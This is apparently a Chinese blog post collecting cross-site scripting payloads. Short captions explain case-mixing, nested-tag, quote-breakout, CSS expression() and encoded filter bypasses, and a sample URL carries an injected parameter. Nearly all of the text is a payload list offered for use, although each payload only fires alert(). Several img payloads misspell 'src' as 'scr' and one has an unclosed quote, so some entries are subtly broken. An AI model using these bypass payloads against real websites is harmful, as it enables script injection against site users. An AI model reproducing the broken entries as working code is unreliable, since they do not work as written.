当前位置:网站首页>xss-收集常用的代码
xss-收集常用的代码
2022-07-25 22:21:00 【常家壮】
最长用的肯定是:
<script>alert("xss")</script>
DOM型一般用
<a href='#' onclick="alert(1111)">Click to see?</a>
大小写绕过
'"><sCrIpT>alert(63252)</sCrIpT>
过滤script绕过
<scr<script>ipt>alert("XXSSSS")</scr</script>ipt>
htmlentities()没有过滤单引号,直接用单引号绕过
';alert('xss');'
构造js绕过
</script><script>alert('xss')</script>
收集的其它代码
<img scr=javascript:alert("xss")></img>
http://www.example.com/MyApp.aspx?myvar= "></XSS/*-*/STYLE=xss:e/**/xpression(alert('XSS'))>
<IFRAME SRC=javascript:alert('test')></IFRAME>
" οnclick="alert(1)"
<img scr="javascript: alert(/xss/)></img>
(?用tab键弄出来的空格)
<img scr="javas????cript:alert(/xss/)" width=150></img>
<img scr="#" onerror=alert(/xss/)></img>
<img scr="#" style="xss:expression(alert(/xss/));"></img>
(/**/ 表示注释)
<img scr="#"/* */onerror=alert(/xss/) width=150></img>
<img src=vbscript:msgbox ("xss")></img>
<style> input {
left:expression (alert('xss'))}</style>
<div style={
left:expression (alert('xss'))}></div>
<div style={
left:exp/* */ression (alert('xss'))}></div>
<div style={
left:\0065\0078ression (alert('xss'))}></div>
html 实体 <div style={
left:&#x0065;xpression (alert('xss'))}></div>
unicode <div style="{left:expRessioN (alert('xss'))}">
收集中不定时更新……
边栏推荐
- 聚名十年,说出你的故事,百万豪礼等你拿
- Three ways to allocate disk space
- Application of breakthrough thinking in testing work
- 分割金条的代价
- kubernetes之VictoriaMetrics单节点
- Wechat applet (anti shake, throttling), which solves the problem that users keep pulling down refresh requests or clicking buttons to submit information; Get the list information and refresh the data
- 4day
- 数据质量:数据治理的核心
- Call of addition, subtraction, multiplication and division of integer type only
- [leetcode] 502.ipo (difficult)
猜你喜欢

Victoriametrics single node of kubernetes

Xiaobai programmer's first day

xxl-job中 关于所有日志系统的源码的解读(一行一行源码解读)

还不懂mock测试?一篇文章带你熟悉mock

Use of hyperlinks

核电站在席卷欧洲的热浪中努力保持安全工作

On the difference between break and continue statements

【PMP学习笔记】第1章 PMP体系引论

别投了,软件测试岗位饱和了...

If jimureport building block report is integrated according to the framework
随机推荐
Redis foundation 2 (notes)
Selenium basic use and use selenium to capture the recruitment information of a website (continuously updating)
平台架构搭建
Gan, why '𠮷 𠮷'.Length== 3 ??
Nuclear power plants strive to maintain safety in the heat wave sweeping Europe
Fill the whole square with the float property
核电站在席卷欧洲的热浪中努力保持安全工作
[assembly language 01] basic knowledge
Imitation Tiktok homepage interface
Can I buy financial products with a revenue of more than 6% after opening an account
TS:typora代码片段缩进显示异常(已解决)-2022.7.24
Visitor mode
ML-Numpy
Having met a tester with three years' experience in Tencent, I saw the real test ceiling
arcgis开发常用源码
Playwright tutorial (II) suitable for Xiaobai
6-18 vulnerability exploitation - backdoor connection
Xiaobai programmer's sixth day
4day
编译和反编译